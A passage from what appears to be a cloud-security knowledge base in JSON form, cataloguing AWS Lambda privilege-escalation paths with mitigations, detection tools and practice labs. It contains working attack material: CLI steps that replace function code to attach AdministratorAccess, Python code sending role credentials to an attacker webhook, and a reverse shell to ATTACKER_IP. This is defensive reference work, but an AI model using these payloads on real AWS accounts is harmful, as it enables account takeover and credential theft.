          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account when the function is automatically triggered. The credentials or privileged actions can be captured through the function's output or external exfiltration.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin, the attacker gains partial privilege escalation when the function triggers. This could include access to sensitive data (S3, RDS, DynamoDB) or the ability to pursue additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or no interesting permissions, the automatic function execution may not provide meaningful additional access to the attacker, even when triggered by events.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "iam:PassRole + lambda:CreateFunction",
          "description": "The attacker creates a new Lambda function and passes a privileged role to it. The function is created with malicious code (typically in a ZIP file) that will execute when automatically triggered by events.\n\nCommand:\n```bash\naws lambda create-function \\\n  --function-name privesc-triggered \\\n  --runtime python3.9 \\\n  --role \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --handler index.handler \\\n  --zip-file fileb://exploit.zip\n```\n\nThe exploit.zip contains code to exfiltrate credentials or perform privileged actions when triggered.\n"
        },
        {
          "from": "lambda_function",
          "to": "event_source",
          "label": "lambda:CreateEventSourceMapping",
          "description": "The attacker configures an event source mapping to automatically trigger the Lambda function. This connects the function to an existing event source like a DynamoDB stream, Kinesis stream, or SQS queue.\n\nCommand:\n```bash\naws lambda create-event-source-mapping \\\n  --function-name privesc-triggered \\\n  --event-source-arn arn:aws:dynamodb:REGION:ACCOUNT_ID:table/TABLE_NAME/stream/STREAM_ID \\\n  --starting-position LATEST\n```\n\nThis eliminates the need for lambda:InvokeFunction permission - the function executes automatically when events occur.\n"
        },
        {
          "from": "event_source",
          "to": "target_role",
          "label": "Event triggers function",
          "description": "When events occur in the configured source (e.g., items added to DynamoDB, messages in SQS, records in Kinesis), the Lambda service automatically invokes the function. The function executes with all the permissions granted to the target role, without requiring manual invocation by the attacker.\n"
        },
        {
          "from": "target_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "description": "When the event source triggers the Lambda function, the malicious code uses the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using the target role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "description": "When the event source triggers the Lambda function, the malicious code retrieves the target role's temporary credentials and exfiltrates them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "target_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "description": "When the event source triggers the Lambda function, the malicious code establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access with the target role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys when the function is automatically triggered.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources when automatically triggered.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location when the function is automatically triggered.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials when the function is automatically triggered. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the target role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation."
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-002.yaml"
  },
  {
    "id": "lambda-003",
    "name": "lambda:UpdateFunctionCode",
    "category": "existing-passrole",
    "services": [
      "lambda"
    ],
    "description": "A principal with `lambda:UpdateFunctionCode` can modify the code of an existing Lambda function that has a privileged execution role. By replacing the function code with malicious code, the attacker can execute arbitrary commands with the privileges of the function's execution role when the function is invoked. This is particularly effective against functions that are automatically triggered by events or regularly invoked.",
    "prerequisites": {
      "admin": [
        "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)",
        "The function must be invokable either manually or via automatic triggers"
      ],
      "lateral": [
        "A Lambda function must exist with a privileged execution role",
        "The function must be invokable either manually or via automatic triggers"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "echo 'import boto3; iam = boto3.client(\"iam\"); iam.attach_user_policy(UserName=\"attacker\", PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\")' > lambda_function.py\n",
          "description": "Create malicious Lambda function code that escalates privileges"
        },
        {
          "step": 2,
          "command": "zip exploit.zip lambda_function.py",
          "description": "Package the malicious code into a deployment package"
        },
        {
          "step": 3,
          "command": "aws lambda update-function-code --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n",
          "description": "Update the target Lambda function with the malicious code"
        },
        {
          "step": 4,
          "command": "# Wait for the function to be automatically invoked by triggers",
          "description": "Wait for the function to be invoked by its automatic triggers (EventBridge, S3 events, etc.)"
        }
      ]
    },
    "recommendation": "Restrict the `lambda:UpdateFunctionCode` permission using the principle of least privilege.\nUse resource-based policies to limit which functions can be modified:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"lambda:UpdateFunctionCode\",\n  \"Resource\": \"arn:aws:lambda:REGION:ACCOUNT_ID:function/SpecificFunction\"\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for `UpdateFunctionCode` events on sensitive functions\n- Implement Lambda function versioning and aliases to prevent direct modification\n- Use AWS Config rules to detect changes to Lambda function code\n- Require code signing for Lambda deployments\n- Alert on Lambda functions with privileged roles being modified\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackingTheCloud - Lambda UpdateFunctionCode Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode"
      },
      {
        "title": "HackTricks - AWS - Lambda Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/index.html#lambdaupdatefunctioncode"
      },
      {
        "title": "IAM Vulnerable - Lambda Update Function Code",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 17",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 4",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-4"
      }
    ],
    "relatedPaths": [
      "lambda-001",
      "lambda-002",
      "lambda-004"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/lambda_edges.py#L152-L172",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L160",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L616",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L126"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/lambda-updatefunctioncode",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Lambda-EditExistingLambdaFunctionWithRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "lambda:UpdateFunctionCode",
          "resourceConstraints": "Must have permission to update the target Lambda function's code"
        }
      ],
      "additional": [
        {
          "permission": "lambda:ListFunctions",
          "resourceConstraints": "Helpful for discovering available Lambda functions to target"
        },
        {
          "permission": "lambda:GetFunction",
          "resourceConstraints": "Useful for viewing function details including execution role ARN"
        },
        {
          "permission": "lambda:GetFunctionConfiguration",
          "resourceConstraints": "Useful for viewing function configuration details"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing the execution role's trust policy and permissions"
        },
        {
          "permission": "iam:ListAttachedRolePolicies",
          "resourceConstraints": "Useful for understanding what permissions the execution role has"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `lambda:UpdateFunctionCode` permission. This principal will modify the code of an existing Lambda function that has a privileged execution role, replacing it with malicious code to gain elevated privileges.\n"
        },
        {
          "id": "lambda_function",
          "label": "Existing Lambda Function",
          "type": "resource",
          "description": "An existing Lambda function with a privileged IAM execution role. This function must be invokable either manually (if the attacker has `lambda:InvokeFunction` permission) or automatically via event triggers (EventBridge, S3, DynamoDB streams, etc.). The function's execution role determines the level of access the attacker will gain.\n"
        },
        {
          "id": "execution_role",
          "label": "Lambda Execution Role",
          "type": "principal",
          "description": "The IAM role attached to the Lambda function as its execution role. When the function is invoked, Lambda automatically assumes this role and makes its credentials available to the function code through the AWS SDK. All code executed in the function runs with the permissions of this execution role. This role must trust lambda.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "method_sdk_attack",
          "label": "Method 1: Execute Attack via AWS SDK",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code uses the AWS SDK to directly perform privileged actions using the execution role's credentials. The function can call IAM APIs to elevate the starting principal's permissions, create access keys, modify policies, or perform other administrative actions. Since the function runs with the execution role's credentials automatically available, no credential exfiltration is needed.\n\nExample malicious Lambda code:\n```python\nimport boto3\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n    # Attach admin policy to starting user\n    iam.attach_user_policy(\n        UserName='attacker-user',\n        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n    )\n    return {'statusCode': 200, 'body': 'Privilege escalation complete'}\n```\n\nThis is the most direct approach - the Lambda function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "id": "method_webhook_exfil",
          "label": "Method 2: Exfiltrate Credentials to Webhook",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and exfiltrates them to an attacker-controlled webhook or HTTP endpoint. The credentials are automatically available in environment variables that the AWS SDK uses.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\nimport urllib.request\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Exfiltrate to webhook\n    req = urllib.request.Request(\n        'https://attacker-webhook.com/collect',\n        data=json.dumps(creds).encode(),\n        headers={'Content-Type': 'application/json'}\n    )\n    urllib.request.urlopen(req)\n\n    return {'statusCode': 200}\n```\n\nThe attacker receives the credentials remotely and can use them from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "method_reverse_shell",
          "label": "Method 3: Reverse Shell Connection",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access. From within the reverse shell, the attacker can access the execution role's credentials and run arbitrary AWS CLI commands.\n\nExample malicious Lambda code:\n```python\nimport socket\nimport subprocess\nimport os\n\ndef lambda_handler(event, context):\n    # Establish reverse shell\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('ATTACKER_IP', 4444))\n\n    # Redirect stdin/stdout/stderr to socket\n    os.dup2(s.fileno(), 0)\n    os.dup2(s.fileno(), 1)\n    os.dup2(s.fileno(), 2)\n\n    # Start shell\n    subprocess.call(['/bin/sh', '-i'])\n\n    return {'statusCode': 200}\n```\n\nThis provides an interactive shell session within the Lambda execution environment where the attacker can access credentials and execute AWS CLI commands with the execution role's permissions. The session lasts until the Lambda function times out (max 15 minutes).\n"
        },
        {
          "id": "method_output_exfil",
          "label": "Method 4: Exfiltrate Credentials to Output",
          "type": "payload",
          "color": "#99ccff",
          "description": "The malicious Lambda function code retrieves the execution role's temporary credentials from the Lambda environment and returns them in the function's response output. This allows the attacker to read the credentials directly from the Lambda invocation result without needing an external webhook or reverse shell.\n\nExample malicious Lambda code:\n```python\nimport os\nimport json\n\ndef lambda_handler(event, context):\n    # Get credentials from environment\n    creds = {\n        'access_key': os.environ['AWS_ACCESS_KEY_ID'],\n        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],\n        'session_token': os.environ['AWS_SESSION_TOKEN']\n    }\n\n    # Return credentials in the response\n    return {\n        'statusCode': 200,\n        'body': json.dumps({\n            'message': 'Credentials exfiltrated',\n            'credentials': creds\n        })\n    }\n```\n\nThe attacker invokes the function and reads the credentials from the response output. These credentials can then be exported and used from any location until they expire (typically 15 minutes to 1 hour).\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target Lambda function's execution role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account by executing the malicious code. The code can directly modify IAM to grant the starting principal admin access or return admin credentials.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3, RDS, DynamoDB), the ability to modify other resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the Lambda function's execution role only has minimal permissions (e.g., just CloudWatch Logs access), the privilege escalation may not yield meaningful additional access. However, the attacker still gains code execution capability which could be useful for reconnaissance or as part of a multi-step attack.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "lambda_function",
          "label": "lambda:UpdateFunctionCode",
          "description": "The attacker updates the target Lambda function's code with malicious code. This requires creating a deployment package (ZIP file) containing the malicious code and uploading it to replace the function's existing code.\n\nCommands:\n```bash\necho 'import boto3; iam = boto3.client(\"iam\"); iam.attach_user_policy(UserName=\"attacker\", PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\")' > lambda_function.py\nzip exploit.zip lambda_function.py\naws lambda update-function-code \\\n  --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n```\n\nThe malicious code is now deployed and will execute with the function's execution role permissions when invoked.\n"
        },
        {
          "from": "lambda_function",
          "to": "execution_role",
          "label": "Wait for automatic trigger",
          "description": "The Lambda function is automatically invoked via an event trigger (EventBridge rules, S3 events, DynamoDB streams, API Gateway, etc.). When invoked, Lambda assumes the function's execution role and makes its credentials available to the function code. The attacker waits for the function to be triggered by normal operations or can force a trigger event if they have permissions to the triggering service.\n"
        },
        {
          "from": "execution_role",
          "to": "method_sdk_attack",
          "label": "Option A",
          "description": "The malicious function code uses the AWS SDK to directly perform privileged actions. This is the most direct approach - the function immediately modifies IAM or performs other privileged actions using its execution role's permissions.\n"
        },
        {
          "from": "execution_role",
          "to": "method_webhook_exfil",
          "label": "Option B",
          "description": "The malicious function code retrieves the execution role's temporary credentials and exfiltrates them to an attacker-controlled webhook. The attacker can then use these credentials from any location.\n"
        },
        {
          "from": "execution_role",
          "to": "method_reverse_shell",
          "label": "Option C",
          "description": "The malicious function establishes a reverse shell connection back to an attacker-controlled listener, providing interactive access with the execution role's credentials.\n"
        },
        {
          "from": "execution_role",
          "to": "method_output_exfil",
          "label": "Option D",
          "branch": "D",
          "description": "The attacker designed the malicious function code to retrieve the execution role's temporary credentials and return them in the Lambda response output. The attacker can then read the credentials directly from the invocation result."
        },
        {
          "from": "method_sdk_attack",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the SDK attack directly grants the starting principal full administrative access by attaching admin policies or creating admin access keys.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "A2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the SDK attack can still grant useful additional permissions by modifying IAM within the role's permission scope or accessing sensitive resources.\n"
        },
        {
          "from": "method_sdk_attack",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "A3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the SDK attack will fail to perform meaningful privilege escalation. The attacker would need to choose a different exploitation method.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "B1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the exfiltrated credentials provide the attacker with full administrative access to the AWS account from any location.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the exfiltrated credentials provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources.\n"
        },
        {
          "from": "method_webhook_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "B3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions (typically just CloudWatch Logs), the exfiltrated credentials may not provide significant additional access beyond what the starting principal already had.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "C1",
          "condition": "admin",
          "description": "If the Lambda function's execution role has AdministratorAccess or equivalent administrative permissions, the reverse shell provides interactive access with full administrative credentials. The attacker can run any AWS CLI commands until the Lambda function times out.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "C2",
          "condition": "some_permissions",
          "description": "If the Lambda function's execution role has elevated but non-administrative permissions, the reverse shell provides interactive access to explore the available permissions and manually exploit them for partial privilege escalation.\n"
        },
        {
          "from": "method_reverse_shell",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C3",
          "condition": "no_permissions",
          "description": "If the Lambda function's execution role only has minimal permissions, the reverse shell still provides interactive code execution capability which could be useful for reconnaissance, but may not provide significant privilege escalation.\n"
        },
        {
          "from": "method_output_exfil",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "D1",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the credentials returned in the output provide the attacker with full administrative access to the AWS account from any location."
        },
        {
          "from": "method_output_exfil",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "D2",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the credentials returned in the output provide partial privilege escalation including access to S3, RDS, DynamoDB, or permissions to modify specific resources."
        },
        {
          "from": "method_output_exfil",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "D3",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal permissions, the credentials returned in the output may not provide significant additional access beyond what the starting principal already had."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/lambda/lambda-003.yaml"
  },
  {
    "id": "lambda-004",
    "parent": {
      "id": "lambda-003",
      "modification": "This variation uses lambda:InvokeFunction to manually invoke the function instead of waiting for automatic triggers"
    },
    "name": "lambda:UpdateFunctionCode + lambda:InvokeFunction",
    "category": "existing-passrole",
    "services": [
      "lambda"
    ],
    "description": "A principal with `lambda:UpdateFunctionCode` and `lambda:InvokeFunction` can modify the code of an existing Lambda function that has a privileged execution role and then manually invoke it. By replacing the function code with malicious code and invoking it, the attacker can execute arbitrary commands with the privileges of the function's execution role immediately, without waiting for automatic triggers.",
    "prerequisites": {
      "admin": [
        "A Lambda function must exist with an administrative execution role (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "A Lambda function must exist with a privileged execution role"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "echo 'import boto3; iam = boto3.client(\"iam\"); iam.attach_user_policy(UserName=\"attacker\", PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\")' > lambda_function.py\n",
          "description": "Create malicious Lambda function code that escalates privileges"
        },
        {
          "step": 2,
          "command": "zip exploit.zip lambda_function.py",
          "description": "Package the malicious code into a deployment package"
        },
        {
          "step": 3,
          "command": "aws lambda update-function-code --function-name TARGET_FUNCTION \\\n  --zip-file fileb://exploit.zip\n",
          "description": "Update the target Lambda function with the malicious code"
        },
        {
          "step": 4,
          "command": "aws lambda invoke --function-name TARGET_FUNCTION output.txt",
          "description": "Manually invoke the function to execute the privilege escalation"
        }
      ]
    },
    "recommendation": "Restrict the `lambda:UpdateFunctionCode` permission using the principle of least privilege.\nUse resource-based policies to limit which functions can be modified:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"lambda:UpdateFunctionCode\",\n  \"Resource\": \"arn:aws:lambda:REGION:ACCOUNT_ID:function/SpecificFunction\"\n}\n```\n\nAdditional controls:\n- Monitor CloudTrail for `UpdateFunctionCode` events on sensitive functions\n- Implement Lambda function versioning and aliases to prevent direct modification\n- Use AWS Config rules to detect changes to Lambda function code\n- Require code signing for Lambda deployments\n- Alert on Lambda functions with privileged roles being modified\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "pathfinding.cloud",
        "date": 2025
      },
      "derivativeOf": {
        "pathId": "lambda-003",
        "modification": "This variation uses lambda:InvokeFunction to manually invoke the function instead of waiting for automatic triggers"
      },
      "ultimateOrigin": {
        "pathId": "lambda-003",
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2018,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - Lambda Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/index.html#lambdaupdatefunctioncode"
      },
      {
        "title": "IAM Vulnerable - Lambda Update Function Code",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 17",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 4",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-4"
      }
    ],
    "relatedPaths": [
      "lambda-001",
      "lambda-002",
      "lambda-003"
    ],
    "detectionTools": {
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L616C10-L616C29",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L130",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L172"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/lambda-updatefunctioncode",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "Lambda-EditExistingLambdaFunctionWithRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "lambda:UpdateFunctionCode",
          "resourceConstraints": "Must have permission to update the target Lambda function's code"
        },
        {
          "permission": "lambda:InvokeFunction",
          "resourceConstraints": "Must have permission to invoke the target Lambda function"
        }
      ],
      "additional": [
        {
          "permission": "lambda:ListFunctions",
          "resourceConstraints": "Helpful for discovering available Lambda functions to target"
        },
        {
          "permission": "lambda:GetFunction",
          "resourceConstraints": "Useful for viewing function details including execution role ARN"
        },
        {
          "permission": "lambda:GetFunctionConfiguration",
          "resourceConstraints": "Useful for viewing function configuration details"
        },
        {
